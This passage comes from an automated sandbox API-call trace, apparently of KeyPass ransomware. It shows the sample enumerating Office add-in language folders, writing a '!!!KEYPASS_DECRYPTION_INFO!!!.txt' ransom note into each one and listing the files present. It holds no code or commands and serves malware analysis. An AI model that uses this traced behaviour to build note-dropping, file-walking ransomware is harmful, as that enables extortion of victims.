hFile=0x7dc, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0250.530] CloseHandle (hObject=0x7dc) returned 1 [0250.530] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39006b0 [0250.530] FindNextFileW (in: hFindFile=0x39006b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.530] FindNextFileW (in: hFindFile=0x39006b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.530] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0250.530] FindNextFileW (in: hFindFile=0x39006b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.530] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\AdHocReportingExcelClient.dll") returned=".dll" [0250.530] FindNextFileW (in: hFindFile=0x39006b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.530] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0250.530] FindNextFileW (in: hFindFile=0x39006b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.531] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0250.531] FindNextFileW (in: hFindFile=0x39006b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.531] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0250.531] FindNextFileW (in: hFindFile=0x39006b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.531] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0250.531] FindNextFileW (in: hFindFile=0x39006b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.531] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\gl\\PowerViewRes.gl.xap") returned=".xap" [0250.531] FindNextFileW (in: hFindFile=0x39006b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0250.531] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.531] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0250.531] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0250.531] GetLastError () returned 0x3f0 [0250.531] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0250.531] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0250.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\he\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e0 [0250.656] GetFileType (hFile=0x7e0) returned 0x1 [0250.656] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0250.656] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0250.656] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0250.656] WriteFile (in: hFile=0x7e0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0250.657] WriteFile (in: hFile=0x7e0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0250.657] CloseHandle (hObject=0x7e0) returned 1 [0250.658] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3900730 [0250.658] FindNextFileW (in: hFindFile=0x3900730, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.658] FindNextFileW (in: hFindFile=0x3900730, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.658] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0250.658] FindNextFileW (in: hFindFile=0x3900730, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.658] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\AdHocReportingExcelClient.dll") returned=".dll" [0250.658] FindNextFileW (in: hFindFile=0x3900730, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.658] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0250.658] FindNextFileW (in: hFindFile=0x3900730, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.658] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0250.658] FindNextFileW (in: hFindFile=0x3900730, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.658] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0250.658] FindNextFileW (in: hFindFile=0x3900730, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.658] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0250.658] FindNextFileW (in: hFindFile=0x3900730, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.658] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\he\\PowerViewRes.he.xap") returned=".xap" [0250.658] FindNextFileW (in: hFindFile=0x3900730, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0250.658] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.658] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0250.658] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0250.658] GetLastError () returned 0x3f0 [0250.658] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0250.658] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0250.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hi\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e8 [0250.675] GetFileType (hFile=0x7e8) returned 0x1 [0250.675] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0250.675] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0250.675] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0250.675] WriteFile (in: hFile=0x7e8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0250.676] WriteFile (in: hFile=0x7e8, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0250.676] CloseHandle (hObject=0x7e8) returned 1 [0250.676] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39005f0 [0250.677] FindNextFileW (in: hFindFile=0x39005f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.677] FindNextFileW (in: hFindFile=0x39005f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.677] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0250.677] FindNextFileW (in: hFindFile=0x39005f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.677] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\AdHocReportingExcelClient.dll") returned=".dll" [0250.677] FindNextFileW (in: hFindFile=0x39005f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.677] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0250.677] FindNextFileW (in: hFindFile=0x39005f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.677] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0250.677] FindNextFileW (in: hFindFile=0x39005f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.677] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0250.677] FindNextFileW (in: hFindFile=0x39005f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.677] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0250.677] FindNextFileW (in: hFindFile=0x39005f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.678] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hi\\PowerViewRes.hi.xap") returned=".xap" [0250.678] FindNextFileW (in: hFindFile=0x39005f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0250.678] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.678] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0250.678] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0250.678] GetLastError () returned 0x3f0 [0250.678] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0250.678] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0250.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ec [0250.707] GetFileType (hFile=0x7ec) returned 0x1 [0250.707] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0250.707] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0250.707] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0250.707] WriteFile (in: hFile=0x7ec, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0250.708] WriteFile (in: hFile=0x7ec, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0250.708] CloseHandle (hObject=0x7ec) returned 1 [0250.708] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x3900170 [0250.709] FindNextFileW (in: hFindFile=0x3900170, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.709] FindNextFileW (in: hFindFile=0x3900170, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.709] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0250.709] FindNextFileW (in: hFindFile=0x3900170, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.709] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\AdHocReportingExcelClient.dll") returned=".dll" [0250.709] FindNextFileW (in: hFindFile=0x3900170, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.709] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0250.709] FindNextFileW (in: hFindFile=0x3900170, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.709] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0250.709] FindNextFileW (in: hFindFile=0x3900170, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.709] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0250.709] FindNextFileW (in: hFindFile=0x3900170, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.709] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0250.709] FindNextFileW (in: hFindFile=0x3900170, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.709] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hr\\PowerViewRes.hr.xap") returned=".xap" [0250.709] FindNextFileW (in: hFindFile=0x3900170, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0250.709] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.709] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0250.709] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0250.710] GetLastError () returned 0x3f0 [0250.710] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0250.710] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0250.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\hu\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7e4 [0250.754] GetFileType (hFile=0x7e4) returned 0x1 [0250.754] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0250.754] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0250.754] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0250.754] WriteFile (in: hFile=0x7e4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0250.755] WriteFile (in: hFile=0x7e4, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0250.755] CloseHandle (hObject=0x7e4) returned 1 [0250.756] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39003b0 [0250.756] FindNextFileW (in: hFindFile=0x39003b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.756] FindNextFileW (in: hFindFile=0x39003b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.756] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0250.756] FindNextFileW (in: hFindFile=0x39003b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.756] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\AdHocReportingExcelClient.dll") returned=".dll" [0250.756] FindNextFileW (in: hFindFile=0x39003b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.756] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.PowerBI.AdomdClient.resources.dll") returned=".dll" [0250.756] FindNextFileW (in: hFindFile=0x39003b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.756] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.PowerBI.AdomdDataExtension.resources.dll") returned=".dll" [0250.756] FindNextFileW (in: hFindFile=0x39003b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.756] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.PowerBI.Diagnostics.resources.dll") returned=".dll" [0250.756] FindNextFileW (in: hFindFile=0x39003b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.756] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\Microsoft.ReportingServices.AdHoc.Excel.Client.resources.dll") returned=".dll" [0250.756] FindNextFileW (in: hFindFile=0x39003b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.756] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\hu\\PowerViewRes.hu.xap") returned=".xap" [0250.756] FindNextFileW (in: hFindFile=0x39003b0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0 [0250.756] FindNextFileW (in: hFindFile=0x38ffdb0, lpFindFileData=0x2e4e784 | out: lpFindFileData=0x2e4e784) returned 1 [0250.756] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0250.756] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3892f28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0250.756] GetLastError () returned 0x3f0 [0250.756] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0250.756] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0250.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\power view excel add-in\\id\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e198, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0 [0250.775] GetFileType (hFile=0x7f0) returned 0x1 [0250.775] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1c8, cchData=2 | out: lpLCData="0") returned 2 [0250.775] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1b4, cchData=2 | out: lpLCData="0") returned 2 [0250.775] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e1a4, cchData=2 | out: lpLCData="0") returned 2 [0250.775] WriteFile (in: hFile=0x7f0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x3a4, lpOverlapped=0x0) returned 1 [0250.776] WriteFile (in: hFile=0x7f0, lpBuffer=0x2e4ce30*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c75c, lpOverlapped=0x0 | out: lpBuffer=0x2e4ce30*, lpNumberOfBytesWritten=0x2e4c75c*=0x2a, lpOverlapped=0x0) returned 1 [0250.776] CloseHandle (hObject=0x7f0) returned 1 [0250.776] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\id\\*", lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 0x39008f0 [0250.776] FindNextFileW (in: hFindFile=0x39008f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0250.776] FindNextFileW (in: hFindFile=0x39008f0, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 